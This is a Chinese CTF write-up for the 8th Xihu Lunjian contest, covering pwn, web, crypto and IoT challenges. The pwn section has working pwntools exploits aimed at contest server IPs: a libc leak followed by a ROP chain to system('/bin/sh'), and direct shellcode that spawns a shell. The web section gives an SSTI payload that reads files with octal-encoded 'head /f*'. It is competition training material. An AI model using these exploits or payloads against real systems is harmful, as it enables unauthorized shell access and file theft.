签到

欢迎来到第八届西湖论剑大赛

扫二维码发“第八届西湖论剑初赛我来了”得到flag

pwn

vpwn

vector中存放了数组元素数量,向vector输入数据后最后一个数据和数组数量两位拼接起来变成新的数组数量,而修改数据的合法index和输出数据的长度依赖于这个数组数量,所以可以通过修改数据来改数组数量为合适的值避免太大读到不可读区域,再输出数据泄露栈中的libc值,最后直接修改rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\\x1b[01;38;5;214m' + str(x) + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + str(x) + '\\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('139.155.126.78', 23091)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))

def add(content):
r.sendlineafter(b'choice', b'2')
r.sendlineafter(b'push', str(content))

def edit(index, content):
r.sendlineafter(b'choice', b'1')
r.sendlineafter(b'edit', str(index))
r.sendlineafter(b'value', str(content))

def show():
r.sendlineafter(b'choice', b'4')

for i in range(9):
add(i)

edit(6, 50)
edit(7, 0)

show()

r.recvuntil(b'StackVector contents: ')
for i in range(18):
r.recvuntil(' ')

num1 = int(r.recvuntil(b' ')[:-1])
num2 = int(r.recvuntil(b' ')[:-1])
libc_base = num2 * 0x100000000 + num1 - 0x29d90

libc = ELF('./2.35/libc.so.6')
pop_rdi_ret = libc_base + 0x2a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh\\x00').__next__()
head = (libc_base >> 32) & 0xffffffff

edit(18, (pop_rdi_ret + 1) & 0xffffffff)
edit(19, head)
edit(20, pop_rdi_ret & 0xffffffff)
edit(21, head)
edit(22, binsh & 0xffffffff)
edit(23, head)
edit(24, system & 0xffffffff)
edit(25, head)

r.sendlineafter(b'choice', b'5')

r.interactive()

Heaven’s door

非预期直接发shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

li = lambda x : print('\\x1b[01;38;5;214m' + str(x) + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + str(x) + '\\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('139.155.126.78', 22502)

def dbg():
gdb.attach(r)

r.sendline(asm(shellcraft.sh()))

r.interactive()

web

Rank-l

ssti模板注入

ID输入head /f* 的十六进制ASCII字符的编码 \150\145\141\144\40\57\146\52,密码任意,输入密码后抓包

image

抓包时无需再输入passord的值,全删除,只需要截获返回包即可,包中就有flag

DASCTF{40628019736420834951664368620669}

crypto

matrixRSA

p高位攻击,恢复矩阵即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
e = 65537
p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275
p=p<<100
n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009
C = [
(130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,
71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,
67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615),
(23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,
9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601,
44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401),
(67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,
13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727,
95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676)
]
R.< x > = PolynomialRing(Zmod(n), implementation='NTL')
p = p + x
x0 = p.small_roots(X=2 ^ 100, beta=0.1)[0]
p = int(p(x0))
q = n // p
d = inverse(e,(p^2-1)*(q^2-1))
c = matrix(Zmod(n),C)
m = c ** d
for part_flag in m.list():
print(long_to_bytes(int(part_flag)))

image (1)

IOT

ida打开f12翻到flag

image (2)